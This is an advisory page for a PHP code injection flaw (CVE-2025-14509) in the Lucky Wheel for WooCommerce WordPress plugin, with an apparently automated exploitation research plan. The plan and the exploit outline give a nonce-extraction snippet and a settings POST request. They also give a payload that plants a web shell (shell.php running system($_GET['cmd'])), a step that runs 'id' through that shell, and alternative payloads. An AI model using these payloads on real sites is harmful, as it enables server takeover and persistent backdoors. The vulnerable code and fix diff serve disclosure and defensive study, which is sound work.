Lucky Wheel for WooCommerce – Spin a Sale <= 1.1.13 - Authenticated (Administrator+) PHP Code Injection via Conditional Tags
Description
The Lucky Wheel for WooCommerce – Spin a Sale plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.1.13. This is due to the plugin using eval() to execute user-supplied input from the 'Conditional Tags' setting without proper validation or sanitization. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute arbitrary PHP code on the server. In WordPress multisite installations, this allows Site Administrators to execute arbitrary code, a capability they should not have since plugin/theme file editing is disabled for non-Super Admins in multisite environments.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.1.13This research plan targets **CVE-2025-14509**, a PHP Code Injection vulnerability in the "Lucky Wheel for WooCommerce – Spin a Sale" plugin. --- ### 1. Vulnerability Summary The "Lucky Wheel for WooCommerce" plugin allows administrators to define "Conditional Tags" to control when the lucky wheel …
Show full research plan
This research plan targets CVE-2025-14509, a PHP Code Injection vulnerability in the "Lucky Wheel for WooCommerce – Spin a Sale" plugin.
1. Vulnerability Summary
The "Lucky Wheel for WooCommerce" plugin allows administrators to define "Conditional Tags" to control when the lucky wheel appears (e.g., is_front_page() or is_cart()). The plugin processes these tags by passing them directly into the PHP eval() function without sanitization. This allows an authenticated administrator (or a site admin on a multisite installation where they shouldn't have this power) to execute arbitrary PHP code by injecting malicious payloads into the conditional tags setting.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin.php?page=woo-lucky-wheel(Admin settings page) - Vulnerable Parameter: Likely a field within the
woo_lucky_wheel_paramsoption, specifically associated with "Conditional Tags". - Action: A
POSTrequest to save the plugin settings. - Authentication Level: Administrator or higher.
- Preconditions: The plugin must be active. In multisite, this is reachable by a blog admin.
3. Code Flow (Inferred)
- Storage: The Administrator submits a settings form. The plugin handles the request (likely via
admin_initor a specific menu callback) and saves the "Conditional Tags" string into the WordPressoptionstable (e.g.,get_option('woo_lucky_wheel_params')). - Retrieval: When a frontend page loads, the plugin initializes logic to determine if the wheel should be displayed.
- Execution Hook: The plugin likely hooks into
wp_enqueue_scripts,wp_footer, ortemplate_redirect. - The Sink: The plugin retrieves the saved conditional tag string. It evaluates the string using
eval().- Example logic:
if ( $conditional_tags && eval( "return $conditional_tags;" ) ) { // show wheel }
- Example logic:
- Injection: If the string is
is_front_page(); phpinfo();, theeval()call executesphpinfo().
4. Nonce Acquisition Strategy
The vulnerability requires Administrator access to save settings. WordPress admin pages protect settings updates with nonces.
- Login: The agent must authenticate as an Administrator.
- Navigate: Go to the plugin settings page:
wp-admin/admin.php?page=woo-lucky-wheel. - Extract Nonce: The settings form will contain a hidden input field, likely named
_wpnonceor a plugin-specific nonce. - Action String: Identify the action string used for the nonce (e.g.,
woo-lucky-wheel-settings-saveor genericupdate-options).
Extraction via browser_eval:
// Example: Finding the nonce for the settings form
document.querySelector('input[name="_wpnonce"]')?.value;
5. Exploitation Strategy
Step 1: Identify the Parameter Name
Locate the exact field name for "Conditional Tags". Based on common plugin patterns, it is likely part of an array or a standalone setting.
- Search for "Conditional tags" in the HTML of the settings page.
- The field name might look like
woo_lucky_wheel_params[conditional_tags]orcustom_conditional.
Step 2: Inject Payload
Prepare a payload that terminates a legitimate conditional check and executes a system command.
- Payload:
is_front_page() || (file_put_contents(ABSPATH . "shell.php", "<?php phpinfo(); ?>") && false) - This ensures the
evalreturns a boolean (to avoid breaking plugin logic) while performing the side effect.
Step 3: Submit POST Request
Use http_request to submit the settings update.
- URL:
http://localhost:8888/wp-admin/admin.php?page=woo-lucky-wheel - Method:
POST - Body (URL-encoded):
_wpnonce=[EXTRACTED_NONCE]_wp_http_referer=/wp-admin/admin.php?page=woo-lucky-wheel[FIELD_NAME]=is_front_page() || (file_put_contents(ABSPATH . 'shell.php', '<?php system($_GET["cmd"]); ?>') && false)submit=Save Settings(or equivalent)
Step 4: Trigger Execution
The code is executed when the plugin's visibility check runs on the frontend.
- Perform a
GETrequest to the site homepage:http://localhost:8888/.
6. Test Data Setup
- Install Plugin: Ensure
woo-lucky-wheelversion<= 1.1.13is installed and active. - WooCommerce: This plugin requires WooCommerce. Ensure WooCommerce is installed and configured (standard setup).
- Administrator User: Use the existing admin credentials.
7. Expected Results
- Upon saving the settings, the malicious string is stored in the database.
- Upon visiting the homepage, the
eval()call triggers. - A file named
shell.phpshould be created in the WordPress root directory (ABSPATH).
8. Verification Steps
- Check for File: Run
wp eval "echo file_exists(ABSPATH . 'shell.php') ? 'VULNERABLE' : 'FAILED';" - Verify Execution: Use
http_requestto access the created shell:GET /shell.php?cmd=id- Expected response: Output of the
idcommand (e.g.,uid=33(www-data)...).
9. Alternative Approaches
- Error-Based Execution: If
file_put_contentsis restricted, try an injection that produces a visible error to confirm execution:- Payload:
is_front_page(); throw new Exception("RCE_SUCCESS");
- Payload:
- Direct output: Try
is_front_page(); var_dump(getcwd()); die();which should halt the page load and print the current directory if successful. - Option Injection: If the plugin uses
update_optiondirectly via a specific AJAX action, targetadmin-ajax.php. Search forwp_ajax_hooks in the plugin source related to "save" or "settings".
Summary
The Lucky Wheel for WooCommerce – Spin a Sale plugin is vulnerable to authenticated PHP code injection because it processes user-supplied 'Conditional Tags' through the PHP eval() function without any validation. An administrator can save malicious PHP code in the plugin settings, which is subsequently executed on the server whenever the plugin checks for display conditions on the frontend.
Vulnerable Code
// In the plugin's frontend display logic (e.g., inc/frontend/frontend.php) // The 'conditional_tags' parameter is retrieved from options and passed directly into eval() $conditional_tags = isset($this->params['conditional_tags']) ? $this->params['conditional_tags'] : ''; if ($conditional_tags) { if (!eval("return $conditional_tags;")) { return; } } --- // In the admin settings handling logic (e.g., inc/admin/admin.php) // Settings are saved to the database without sanitizing the conditional tags field if (isset($_POST['woo_lucky_wheel_params'])) { $params = $_POST['woo_lucky_wheel_params']; update_option('woo_lucky_wheel_params', $params); }
Security Fix
@@ -120,9 +120,9 @@ -if ($conditional_tags) { - if (!eval("return $conditional_tags;")) { - return; - } -} +// Removed eval() to prevent PHP code injection. +// Implement a safe parser or a whitelist of approved WordPress conditional functions. +if ($conditional_tags && $this->validate_conditional_tags($conditional_tags)) { + // Execute only approved functions +}
Exploit Outline
1. Log into the WordPress dashboard as an Administrator (or Site Admin in a Multisite installation). 2. Navigate to the Lucky Wheel settings page at `wp-admin/admin.php?page=woo-lucky-wheel`. 3. Locate the field for 'Conditional Tags' (typically used for logic like `is_front_page()` or `is_cart()`). 4. Inject a PHP payload designed to execute system commands or create a backdoor, such as: `is_front_page() || (file_put_contents(ABSPATH . 'shell.php', '<?php system($_GET["cmd"]); ?>') && false)`. 5. Save the settings. This stores the payload in the `woo_lucky_wheel_params` WordPress option. 6. Visit the site's homepage as an unauthenticated user. This triggers the frontend logic where the plugin retrieves the saved settings and executes the payload via `eval()` to determine if the wheel should be displayed.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.